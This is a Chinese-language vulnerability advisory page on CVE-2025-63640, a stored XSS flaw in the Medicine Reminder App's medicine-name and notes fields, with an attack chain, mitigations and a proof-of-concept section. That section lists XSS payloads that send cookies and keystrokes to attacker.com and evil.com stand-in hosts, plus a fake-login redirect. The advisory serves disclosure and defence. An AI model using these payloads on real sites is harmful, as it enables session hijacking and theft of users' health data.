IPBUF安全漏洞报告
English
CVE-2025-63640 CVSS 6.1 中危

CVE-2025-63640 Sourcecodester Medicine Reminder App XSS漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63640
漏洞类型
跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Sourcecodester Medicine Reminder App v1.0

相关标签

CVE-2025-63640XSS跨站脚本存储型XSSMedicine Reminder AppSourcecodesterWeb应用安全JavaScript注入会话劫持MEDIUM

漏洞概述

CVE-2025-63640是Sourcecodester公司开发的Medicine Reminder App(药物提醒应用)v1.0版本中存在的一处存储型跨站脚本(Stored XSS)安全漏洞。该应用是一款用于管理药物服用提醒的Web应用程序,用户可以通过其创建和管理药物提醒计划。漏洞存在于应用的"Upcoming Reminder"(即将到来的提醒)功能模块,具体位于"Medicine Name"(药物名称)和"Notes (Optional)"(备注,可选)两个输入字段中。攻击者可以在这些字段中注入恶意的HTML或JavaScript代码,当受害者访问包含该恶意数据的页面并点击"Save Reminder"(保存提醒)按钮时,攻击者植入的脚本代码将在受害者的浏览器上下文中执行。这允许攻击者窃取用户的会话Cookie、劫持用户会话、进行钓鱼攻击、修改页面内容或执行其他基于浏览器的恶意操作。由于该应用处理的是医疗健康相关数据,此类XSS漏洞还可能导致患者隐私信息泄露,对用户的数据安全构成严重威胁。攻击者无需任何特殊权限即可利用此漏洞,只需能够访问应用的提醒创建功能即可发动攻击。

技术细节

该漏洞的根本原因在于应用对用户输入的"Medicine Name"和"Notes (Optional)"字段内容缺乏充分的输入验证和输出编码。当用户在创建"Upcoming Reminder"时提交包含HTML标签或JavaScript代码的输入数据(如<script>alert(document.cookie)</script>),应用服务器直接将这些数据存储到后端数据库中,而没有对特殊字符进行HTML实体编码或过滤。在后续页面加载或渲染提醒列表时,这些未经处理的数据被直接嵌入到HTML响应中,浏览器将其解析为可执行代码而非纯文本。攻击者利用这一漏洞可以绕过同源策略限制,在受害者浏览器中执行任意JavaScript代码。由于漏洞属于存储型XSS,恶意代码会被持久化存储,每次有用户访问受污染的页面时都会触发执行,大大增加了攻击的覆盖面和危害程度。攻击者通常会构造包含窃取Cookie或重定向用户的恶意脚本,以实现会话劫持或进一步的社会工程攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用Medicine Reminder App v1.0,确认其存在"Upcoming Reminder"功能和相关的输入字段
STEP 2
步骤2: 漏洞探测
攻击者构造包含XSS payload的恶意输入,在"Medicine Name"或"Notes"字段中注入<script>alert('XSS')</script>等测试代码
STEP 3
步骤3: 恶意代码注入
攻击者通过表单提交功能将包含完整恶意脚本的payload(如窃取Cookie的代码)保存到服务器数据库中
STEP 4
步骤4: 等待触发
恶意代码被存储在数据库中,等待其他用户访问包含该数据的页面(如提醒列表页面)
STEP 5
步骤5: 代码执行
当受害者访问受污染的页面并点击"Save Reminder"按钮时,恶意JavaScript代码在受害者浏览器中执行
STEP 6
步骤6: 数据窃取/会话劫持
攻击者通过已执行的恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,进而接管用户账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-63640 PoC: Medicine Reminder App XSS --> <html> <head> <title>CVE-2025-63640 XSS PoC</title> </head> <body> <h1>CVE-2025-63640 Stored XSS PoC</h1> <p>Target: Sourcecodester Medicine Reminder App v1.0</p> <form id="exploitForm" action="http://target-site.com/reminder.php" method="POST"> <!-- Medicine Name field with XSS payload --> <input type="text" name="medicine_name" value='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'> <!-- Notes field with XSS payload --> <textarea name="notes"> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> </textarea> <!-- Save Reminder button --> <button type="submit" name="save_reminder">Save Reminder</button> </form> <script> // Alternative PoC: Auto-submit form // document.getElementById('exploitForm').submit(); // XSS payload examples: // 1. Cookie theft: <script>document.location='https://evil.com/steal?c='+document.cookie</script> // 2. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script> // 3. Session hijack: <script>fetch('https://attacker.com/session?cookie='+document.cookie)</script> // 4. Phishing redirect: <script>if(confirm('Session expired. Please login again')){location='https://attacker.com/fake-login'}</script> </script> </body> </html>

影响范围

Sourcecodester Medicine Reminder App v1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)禁用或限制"Upcoming Reminder"功能的输入字段长度和允许的字符类型;2)在服务器端部署Web应用防火墙(WAF)规则,检测和拦截包含<script>、<img>、onerror等XSS特征的请求;3)对现有数据库中的恶意数据进行清理和消毒;4)加强用户访问控制,确保只有授权用户能够访问提醒管理功能;5)监控应用日志,及时发现异常的XSS攻击尝试特征;6)考虑暂时禁用受影响的输入字段,等待官方修复版本发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表